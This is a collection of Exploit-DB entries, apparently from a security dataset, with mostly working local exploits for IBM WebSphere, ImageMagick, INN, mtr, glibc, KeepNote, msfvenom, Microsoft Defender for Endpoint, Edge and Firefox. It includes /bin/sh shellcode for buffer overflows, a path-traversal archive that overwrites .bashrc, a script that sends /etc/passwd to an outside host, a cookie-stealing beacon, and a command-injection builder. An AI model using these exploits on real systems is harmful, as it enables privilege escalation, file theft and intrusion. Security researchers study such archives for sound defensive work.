deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20274
Description: IBM Websphere 2.0/3.0 - ikeyman Weak Encrypted Password
Type: local
Platform: multiple
Date: 1999-10-24
Author: Ben Laurie

Exploit:
source: https://www.securityfocus.com/bid/1763/info


IBM WebSphere ships with a tool called 'ikeyman' that encrypts server certificates/key pairs when the IBM HTTP Server and SSL connections are enabled. Ikeyman stores the password in a stash file which can be easily decrypted through the use of a freely available script

#!/usr/bin/perl -w
#
# unstash.pl - "decrypt" IBM HTTP server stash files. No, really. They
*are* this pathetic.
#
# sploit (BoByRiTe) 1999, Major Malfunction, code by Ben Laurie, cos I
dudn't dud perly thing.

use strict;

die "Usage: $0 <stash file>\n" if $#ARGV != 0;

my $file=$ARGV[0];
open(F,$file) || die "Can't open $file: $!";

my $stash;
read F,$stash,1024;

my @unstash=map { $_^0xf5 } unpack("C*",$stash);

foreach my $c (@unstash) {
    last if $c eq 0;
    printf "%c",$c;
}
printf "\n";
Exploit-DB #45890
Description: ImageMagick - Memory Leak
Type: local
Platform: multiple
Date: 2018-11-19
Author: ttffdd

Exploit:
#!/bin/bash

help() {
  echo "Usage poc generator: `basename $0` gen WIDTHxHEIGHT NAME.xbm [minimal]"
  echo "  Example gen: `basename $0` gen 512x512 poc.xbm"
  echo "Usage result recovery: `basename $0` recover SAVED_PREVIEW.png|jpeg|gif|etc"
  echo "  Example recovery: `basename $0` recover avatar.png"
}
if [ "$1" == "-h" ]; then
  help;
  exit 0
fi
if [ "$1" == "gen" ]; then
  echo "Generating..."
  convert -size $2 xc:white $3
  sed -i '0,/0x../s//0x80000001/' $3
  if [ "$4" == "minimal" ]; then
    echo "Shrink to minimal body size mode"
    sed -i 's/0x00//g' $3
    sed -i 's/,//g' $3
    sed -i '/^\s*$/d' $3
  fi
  echo "Done"
  exit 0
fi
if [ "$1" == "recover" ]; then
  convert $2 temp.xbm
  cat temp.xbm | grep -o '0x..' | xxd -r -p | strings -3
  rm temp.xbm
  exit 0
fi
help;
Exploit-DB #51261
Description: ImageMagick 7.1.0-49 - Arbitrary File Read
Type: local
Platform: multiple
Date: 2023-04-05
Author: Cristian Giustini

Exploit:
# Exploit Title: ImageMagick  7.1.0-49 - Arbitrary File Read
# Google Dork: N/A
# Date: 06/02/2023
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://imagemagick.org/
# Software Link: https://imagemagick.org/
# Version: <= 7.1.0-49
# Tested on: 7.1.0-49 and 6.9.11-60
# CVE : CVE-2022-44268 (CVE Owner: Metabase Q Team
https://www.metabaseq.com/imagemagick-zero-days/)
# Exploit pre-requirements: Rust


# PoC : https://github.com/voidz0r/CVE-2022-44268
Exploit-DB #28817
Description: Internet Security Systems 3.6 - 'ZWDeleteFile()' Arbitrary File Deletion
Type: local
Platform: multiple
Date: 2006-10-16
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/20546/info

Internet Security Systems (ISS) BlackICE PC Protection is prone to a file-deletion vulnerability.

An attacker can exploit this issue to delete arbitrary files within the context of the affected application. This could lead to other attacks. 

Versions 3.6.cpu, 3.6.cpj are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28817.zip
Exploit-DB #19480
Description: ISC INN 2.2 / RedHat Linux 6.0 - inews Buffer Overflow
Type: local
Platform: multiple
Date: 1999-09-02
Author: bawd

Exploit:
// source: https://www.securityfocus.com/bid/616/info


INN versions 2.2 and earlier have a buffer overflow-related security condition in the inews program.

inews is a program used to inject new postings into the news system. It is used by many news reading programs and scripts. The default installation is with inews setgid to the news group and world executable. It's possible that exploiting the buffer overflow could give the attacker news group privileges, which could possibly be extended to root access. 

/* inews exploit , gives you the inews egid .
* bawd@kitetoa.com
* greetz to nitro,shivan,rfp & Minus :)
*
*
* RET addresses change between RH 5.2 ,6.0 etc..
*
* RH 5.2 RET = 0xbffff6f0
* RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 540
#define RET 0xbffff6f0



main (int argc, char *argv[])
{
FILE *fp;
int offset = 0;
char *buff = NULL;
int i;

u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";



if (argc > 1)
offset = atoi (argv[1]);

buff = malloc (1024);

if (!buff)
{
printf ("malloc isnt working\n");
exit (0);
}

memset (buff, 0x90, BUFFER_SIZE);

for (i = 100; i < BUFFER_SIZE - 4; i += 4)
*(long *) &buff[i] = RET + offset;

memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));

if ((fp = fopen ("filez", "w")) != NULL)
{
  fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", 
buff);
  fclose (fp);
  execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
  }

else {
     printf ("Couldnt open file : filez\n");
     exit (0);
     }

}
Exploit-DB #40440
Description: KeepNote 0.7.8 - Command Execution
Type: local
Platform: multiple
Date: 2016-09-29
Author: R-73eN

Exploit:
# Title : KeepNote 0.7.8 Remote Command Execution
# Date : 29/09/2016
# Author : R-73eN
# Twitter : https://twitter.com/r_73en 
# Tested on : KeepNote 0.7.8 (Kali Linux , and Windows 7)
# Software : http://keepnote.org/index.shtml#download
# Vendor : ~ 
#
# DESCRIPTION:
#
# When the KeepNote imports a backup which is actuallt a tar.gz file doesn't checks for " ../ " characters 
# which makes it possible to do a path traversal and write anywhere in the system(where the user has writing permissions).
# This simple POC will write to the /home/root/.bashrc the file test.txt to get command execution when the bash is run.
# There are a lot of ways but i choose this just for demostration purposes and its supposed we run the keepnote application
# as root (default in kali linux which this bug is tested).
#
#


banner = ""
banner +="  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

import tarfile, sys

if(len(sys.argv) != 2):
    print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
    print "[+] Example: python exploit.py test.txt" 
    exit(0)
print "[+] Creating Exploit File [+]"

filename = "KeepNoteBackup.tar.gz"

path = "../../../../../../../home/root/.bashrc"

tf = tarfile.open(filename,"w:gz")
tf.add(sys.argv[1], path)
tf.close()

print "[+] Created KeepNoteBackup.tar.gz successfully [+]"
Exploit-DB #11364
Description: LDAP - Injection
Type: local
Platform: multiple
Date: 2010-02-09
Author: mc2_s3lector

Exploit:
[+] Vurnerebility:	LDAP Injection 
[+] Category	 :	Implemented Web exploit	 	
[+] Category	 :	Attack Technique
[+] Author 	 :	mc2_s3lector 
[+] dork   	 :	X/o\"	
[+] Contact	 : 	www.yogyacarderlink.web.id
[+] date	 :	4-2-10
[+] biGthank to	 :	Allah SWT,jasakom,KeDai Computerworks,0n3-d4y n3ro,eplaciano, all*.indonesian like a coding,

---------------------------------------------------------------------------------------------------------------------------------------------------
Directory acces protokol/directory manipulation,protokol breaker->standar protocol,query
custom statement,page request,componen execute command,data base server,web apps services
modify,remove etc.
---------------------------------------------------------------------------------------------------------------------------------------------------

code:
<html>
<head>
<body>
<%@ Language=VBScript %>
<%
Dim userName
Dim filter
Dim ldapObj
Const LDAP_SERVER = "ldap.example"
userName = Request.QueryString("user")<-----------*1(LOOK THIS BUG LINE PARAMETER USER=EMPTY)

( userName = "" ) then
Response.Write("<b>Invalid
request. Please specify a
valid user name</b><br>")
Response.End()
end if

filter= "(uid=" + CStr(userName) + //((*1))
userName used to initialize filter variable on this line direct query LDAP call to finf filter on ((*.3))
")" ' searching
for the user entry
'Creat LDAP object and setting
the base dn
Set ldapObj =
Server.CreateObject("IPWorksASP.LDAP")
ldapObj.ServerName = LDAP_SERVER
ldapObj.DN =
"ou=people,dc=spilab,dc=com"
'Setting the search filter
ldapObj.SearchFilter = ((*.3))filter<---call SearchFilter on this line
ldapObj.Search
'Showing the user ennumeratin info
While ldapObj.result = ((1*.4 to *.5))
Response.Write("<p>")
Write("<b><u>User
information for : " +
ldapObj.AttrValue(0) + "</u></b><br>")
For i = 0 To ldapObj.AttrCount -1
Response.Write("<b>" +
ldapObj.AttrType(i) +
"</b> : " + ldapObj.AttrValue(i) + "<br>" )
Response.Write("</p>")
Wend ((*.5))
%>
</head>
</body>
</html>
---------------------------------------------------------------------------------------------------------------------------------------------------
control over LDAP to querry =server LDAP & get query result from ((*.4 to *.5))

POC:

http://server/ldapsearch.asp?user=* <----send the * character in the parameter user,result flter variable in code to be initialized with
(uid=*). The resulting LDAP statement will make the server return
-------------------------------------------------------------------------------------------------------------------------------------------------
Exploit-DB #12103
Description: Local Glibc Shared Library (.so) 2.11.1 - Code Execution
Type: local
Platform: multiple
Date: 2010-04-07
Author: Rh0

Exploit:
# Exploit Title: Local Glibc shared library (.so) exploit
# Date: 07.04.10
# Author: Rh0 (Rh0@z1p.biz)
# Software Link: NA
# Version: <= 2.11.1, higher not tested
# Tested on: Debian stable (x86-64), Ubunutu 9.10 (x86), Fedora 12 (x86)
# CVE : NA
# Code :

#!/bin/sh

# A lot of applications in linux use shared library structure to be
# able to load plugins. E.g. Mozilla, Geany IDE, Compiz, Epiphany web
# browser and more. Shared libraries are initialized (but not loaded)
# often during startup, at a click at something like "->Tools->Plugins"
# in the menue or at latest when they are activated. dlopen() is used
# for initializing and is part of glibc.
# See http://linux.die.net/man/3/dlopen.
# It always executes the _init section of the shared library. A
# malformed _init section makes dlopen crash (NULL dereference). But
# this is not even necessary to exploit an application, as a custom
# _init section is always executed when dlopen is called . The exploit
# can be in the form of a custom compiled file. Also the _init section in
# a plugin already shipped with the application can be overwritten with
# working shellcode to exploit it or some \x41 to crash it .

# PoC:

cat >Xlibx.c<<EOF

#include <unistd.h>
_init()
{
execve("/bin/sh",NULL,NULL); // evil _init
}
EOF

gcc -fPIC -c Xlibx.c
ld -shared -soname Xlibx -o Xlibx.so -lc Xlibx.o
rm Xlibx.c
rm Xlibx.o

echo "* copy Xlibx.so to appropriate directory:"
echo "* Mozilla: HOMEDIR/.mozilla/plugins/ "
echo "* firefox->Edit->Preferences => Exploit "
Exploit-DB #44006
Description: Marked2 - Local File Disclosure
Type: local
Platform: multiple
Date: 2018-02-06
Author: Corben Leo

Exploit:
<body>
<script>
var file = "file:///etc/passwd";
var extract = "http://dev.example.com:1337/";
function get(url) {
 var xmlHttp = new XMLHttpRequest();
 xmlHttp.open("GET", url, false);
 xmlHttp.send(null);
 return xmlHttp.responseText;
}
function steal(data) {
 var xhr = new XMLHttpRequest();
 xhr.open('POST', extract, true);
 xhr.onload = function() {};
 xhr.send(data);
}
var cdl = get(file);
steal(cdl);
</script>
</body>
Exploit-DB #19796
Description: Matt Kimball and Roger Wolff mtr 0.28/0.41 / Turbolinux 3.5 b2/4.2/4.4/6.0 - mtr (2)
Type: local
Platform: multiple
Date: 2000-03-03
Author: Babcia Padlina

Exploit:
// source: https://www.securityfocus.com/bid/1038/info

A potential vulnerability exists in the 'mtr' program, by Matt Kimball and Roger Wolff. Versions prior to 0.42 incorrectly dropped privileges on all Unix variants except HPUX. By calling a seteuid(getuid()) call, the authors hoped to drop permissions to prevent the obtaining of root privilege should there be potential vulnerabilities in mtr or a library it depends on. However, due to saved uid semantics, the uid of 0 can be recovered simply by doing a setuid(0). An attacker would only need to find an overflow in one of the libraries mtr uses, such as gtk or curses. In patched versions, the seteuid() call has been changed to setuid(). This will eliminate this potential problem.

/* (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) */
/* freebsd mtr-0.41 local root exploit */

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h> 
#include <string.h>   

#define NOP             0x90
#define BUFSIZE         10000
#define ADDRS           1200 

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc; 
char **argv;
{
        char *execshell =
        //seteuid(0);
        "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
        //setuid(0);
        "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
        //execl("/bin/sh", "sh", 0);
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

        char buf[BUFSIZE+ADDRS+1], *p;
        int noplen, i, ofs;
        long ret, *ap;
   
        if (argc < 2) { fprintf(stderr, "usage: %s ofs\n", argv[0]); exit(0); }

        ofs = atoi(argv[1]);

        noplen = BUFSIZE - strlen(execshell);
        ret = getesp() + ofs;
        
        memset(buf, NOP, noplen);
        buf[noplen+1] = '\0';
        strcat(buf, execshell);
        
        setenv("EGG", buf, 1);
        
        p = buf;
        ap = (unsigned long *)p;
        
        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;
        
        p = (char *)ap;
        *p = '\0';
        
        fprintf(stderr, "ret: 0x%x\n", ret);
        
        setenv("TERMCAP", buf, 1);
        execl("/usr/local/sbin/mtr", "mtr", 0);
        
        return 0;
}
Exploit-DB #49491
Description: Metasploit Framework 6.0.11 - msfvenom APK template command injection
Type: local
Platform: multiple
Date: 2021-01-28
Author: Justin Steven

Exploit:
# Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection
# Exploit Author: Justin Steven
# Vendor Homepage: https://www.metasploit.com/
# Software Link: https://www.metasploit.com/
# Version: Metasploit Framework 6.0.11 and Metasploit Pro 4.18.0
# CVE : CVE-2020-7384

#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Change me
payload = 'echo "Code execution as $(id)" > /tmp/win'

# b64encode to avoid badchars (keytool is picky)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | sh #"

print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Touch empty_file
open(empty_file, "w").close()

# Create apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])

# Generate signing key with malicious -dname
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Sign APK using our malicious dname
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
Exploit-DB #52355
Description: Microsoft Defender for Endpoint (MDE) - Elevation of Privilege
Type: local
Platform: multiple
Date: 2025-07-08
Author: Rich Mirch

Exploit:
#!/bin/bash
# Exploit Title: Microsoft Defender for Endpoint (MDE) - Elevation of Privilege
# Date: 2025-05-27
# Exploit Author: Rich Mirch
# Vendor Homepage: https://learn.microsoft.com/en-us/defender-endpoint/
# Software Link:
https://learn.microsoft.com/en-us/defender-endpoint/microsoft-defender-endpoint-linux
# Versions:
# Vulnerable March-2025 Build: 101.25012.0000 30[PII_REDACTED].0
# Vulnerable Feb-2025 Build: 101.24122.0008  20[PII_REDACTED].0
# Vulnerable Feb-2025 Build: 101.24112.0003  30[PII_REDACTED].0
# Vulnerable Jan-2025 Build: 101.24112.0001   30[PII_REDACTED].0
# Vulnerable Jan-2025 Build: 101.24102.0000  30[PII_REDACTED].0
#
# Vendor Advisory:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47161
# Blog: http://stratascale.com/vulnerability-alert-cve202547161
# Tested on: Ubuntu 24.04.1 LTS and 24.04.2 LTS
# CVE : CVE-2025-47161
#
echo "MDE Version: $(mdatp version)"

# stage
cat >mde-exp.c<<EOF
/*
* Build procedure:
* gcc -fPIC -o woot.o -Wall -c woot.c
* gcc -Wall -shared -Wl,-soname,woot.so -Wl,-init,woot -o /tmp/woot.so woot.o
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

void woot(){
    // for manual testing
    if(isatty(STDERR_FILENO)) {
        fprintf(stderr,"Woot!\n");
    }
    system("ps -ef > /woot.txt");
    sleep(3000000);
}

EOF

# build exploit
gcc -fPIC -o woot.o -Wall -c mde-exp.c
gcc -Wall -shared -Wl,-soname,woot.so -Wl,-init,woot -o /tmp/woot.so woot.o

mkdir -p /tmp/build/osquery/build/installed_formulas/openssl/etc/openssl/

cat > /tmp/build/osquery/build/installed_formulas/openssl/etc/openssl/openssl.cnf
<<EOF
# Malicious openssl.cnf
openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
woot = woot_section

[woot_section]
engine_id = woot
dynamic_path = /tmp/woot.so
init = 0
EOF

echo "Checking every 15 seconds for /woot.txt"
while true
do
    if [[ -f /woot.txt ]]
    then
        echo "WOOT - /woot.txt exists"
    ls -ld /woot.txt
    exit
    fi
    sleep 15
done
Exploit-DB #51359
Description: Microsoft Edge (Chromium-based) Webview2 1.0.1661.34 - Spoofing
Type: local
Platform: multiple
Date: 2023-04-10
Author: nu11secur1ty

Exploit:
## Title: Microsoft-Edge-(Chromium-based)-Webview2-1.0.1661.34-Spoofing-Vulnerability
## Author: nu11secur1ty
## Date: 04.10.2023
## Vendor: https://developer.microsoft.com/en-us/
## Software: https://developer.microsoft.com/en-us/microsoft-edge/webview2/
## Reference: https://www.rapid7.com/fundamentals/spoofing-attacks/
## CVE ID: CVE-2023-24892

## Description:
The Webview2 development platform is vulnerable to Spoofing attacks.
The attacker can build a very malicious web app and spread it to the
victim's networks.
and when they open it this can be the last web app opening for them.

STATUS: HIGH Vulnerability

[+]Exploit:

[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-24892/PoC)


## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-24892)

## Proof and Exploit:
[href](https://streamable.com/uk7l2n)

## Time spend:
03:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #51571
Description: Microsoft Edge 114.0.1823.67 (64-bit) - Information Disclosure
Type: local
Platform: multiple
Date: 2023-07-06
Author: nu11secur1ty

Exploit:
## Title:Microsoft Edge 114.0.1823.67 (64-bit) - Information Disclosure
## Author: nu11secur1ty
## Date: 07.06.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/edge?form=MA13FJ&exp=e415
## Reference: https://portswigger.net/web-security/information-disclosure,
https://www.softwaresecured.com/stride-threat-modeling/
## CVE-2023-33145



## Description:
The type of information that could be disclosed if an attacker
successfully exploited this vulnerability is data inside the targeted
website like IDs, tokens, nonces, cookies, IP, User-Agent, and other
sensitive information.
The user would have to click on a specially crafted URL to be
compromised by the attacker.
In this example, the attacker use STRIDE Threat Modeling to spoof the
victim to click on his website and done.
This will be hard to detect.

## Conclusion:
Please be careful, for suspicious sites or be careful who sending you
an link to open!

## Staus: HIGH Vulnerability

[+]Exploit:

- Exploit Server:

```js
## This is a Get request from the server when the victims click! And
it is enough to understand this vulnerability! =)

<script> var i = new Image();
i.src="PoCsess.php?cookie="+escape(document.cookie)</script>

## WARNING: The PoCsess.php will be not uploaded for security reasons!
## BR nu11secur1ty

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33146)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33145-microsoft-edge.html)

## Time spend:
01:30:00
Exploit-DB #48231
Description: Microsoft VSCode Python Extension - Code Execution
Type: local
Platform: multiple
Date: 2020-03-17
Author: Doyensec

Exploit:
# VSCode Python Extension Code Execution

This repository contains the Proof-of-Concept of a code execution vulnerability discovered in the [Visual Studio Code](https://code.visualstudio.com/) Python extension.

>TL;DR: VScode may use code from a virtualenv found in the project folders without asking the user, for things such as formatting, autocompletion, etc. This insecure design leads to arbitrary code execution by simply cloning and opening a malicious Python repository.

You can read more about this vulnerability on our blog: [https://blog.doyensec.com/2020/03/16/vscode_codeexec.html](https://blog.doyensec.com/2020/03/16/vscode_codeexec.html).

## HowTo

- Clone the 'malicious' repository with `git clone https://github.com/doyensec/VSCode_PoC_Oct2019.git`
- Add the cloned repo to a VSCode workspace on macOS. Note that the vulnerability affects all platforms, but the PoC is executing *Calculator.app*
- Open `test.py` in VScode


Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48231.zip
Exploit-DB #44266
Description: Mozilla Firefox - Address Bar Spoofing
Type: local
Platform: multiple
Date: 2017-04-14
Author: 649

Exploit:
<script>
location=URL.createObjectURL(new Blob(['<b>Not Google</b><script>if(location.href.indexOf("google")==-1){location.pathname="https://www.google.com/"}else{document.title="Google Search"}<\/script>'], {type: 'text/html'}))
</script>